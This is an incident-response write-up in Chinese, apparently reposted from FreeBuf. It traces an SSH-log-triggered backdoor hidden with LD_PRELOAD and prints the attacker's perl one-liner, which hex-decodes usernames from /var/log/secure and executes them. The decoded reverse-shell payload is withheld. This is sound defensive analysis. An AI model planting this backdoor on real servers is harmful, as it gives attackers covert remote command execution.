内容简介:*本文作者:ForrestX386,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。前段时间,在一次安全应急响应案例中遇到一个利用ssh 日志作为触发点的后门,觉得有意思,写下来,分享一下,欢迎各位大佬的拍砖与讨论。据客户反映,其最近发现ssh的登录日志中有很多失败的登录尝试,形如:
*本文作者:ForrestX386,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
前言
前段时间,在一次安全应急响应案例中遇到一个利用ssh 日志作为触发点的后门,觉得有意思,写下来,分享一下,欢迎各位大佬的拍砖与讨论。
案例分析
据客户反映,其最近发现ssh的登录日志中有很多失败的登录尝试,形如:
如上图,这些失败的登录用户名都很奇怪,都是以LEGO开头的后面加上一串随机字符。感觉有点奇怪,要是SSH 暴力猜解攻击的话,不应该用这样的用户名啊。而且隔断时间就会有同样的失败登录尝试,每次就一次,这也不像是暴力猜解啊,有点费解。
在客户授权登录的情况下,去服务器看了下:
从干净的系统上提取了ps、lsof等工具,先后排查了是否有pam 库后门、pam配置文件后门、sshd后门,rsyslog 配置文件后门,均无果,后又检查定时任务也没有问题;
利用ps 、top等 工具 查看进程信息也没有异常,还真是有点意思。
再检查下动态库有木有被劫持了吧,一查果然有问题:
先去掉这个环境变量试下,发现了异常进程:
后又跟客户确认,没有用到这个LD_PRELOAD环境变量,基本可以确认是攻击者增加的用于隐藏进程的动态库。
利用lsof 查一下进程有木有关联相关文件:
进一步确认177a就是perl:
再去查下/tmp/177f 这个文件:
怎么这么面熟,这不就是/var/log/secure的内容吗?
对比下两个文件的inode id,发现是一致的,原来/tmp/177f 指向的就是/var/log/secure文件:
再去看下proc下117518这个可疑进程的fd信息,发现标准输入被重定向到/tmp/177f 也就是/var/log/secure这个文件:
至此基本弄清了可疑进程执行如下命令:
perl -e'while(1){sleep(1);while(<>){system pack("H*",$1)if/LEGO(\w+)/}}' < /var/log/secure
这里的LEGO是个匹配字符串,$1指的是LEGO后面匹配到的字符,也即(\w+)匹配到的字符,大致意思就是从/var/log/secure 读取每一行的内容,然后匹配到LEGO后面的字符串,然后执行pack 函数返回的结果。
看来,/var/log/secure/log中 形如LEGO6964******** 的登录账户名都是payload(后又提取/var/log/secure/log/ 中形如LEGO*的登录名,unpack之后,发现是个反弹shell,因隐私问题,这里就不发表了)。
这里可以确定,这是个后门了,利用ssh 登录日志作为后门触发点,攻击者每一次使用特定的账户名登录就会触发后门获取反弹shell。后面接着排查发现,这次入侵是因为 redis 未授权 端口开放导致的(redis 是以root运行的,也是没谁了。。)
总结
攻击者有点粗心了,可能是忘记删除/var/log/secure 中的登录痕迹了,要不然会更晚才能发现异常,排查也许会绕些弯子。
笔者这次分享在大佬们眼中可能略显简单,不过对我来说,确学到了不少东西,也希望更多的人分享自己的响应经历,希望大佬们分享更牛逼的响应经历
*本文作者:ForrestX386,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 触发器
- jQuery 自动触发事件实例
- 【安全帮】彭博社指控华为网络设备有后门,但所谓的后门只不过是普通漏洞
- Oracle触发器详细讲解
- react事件系统之事件触发
- 窗口实用触发器:ContinuousEventTimeTrigger
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。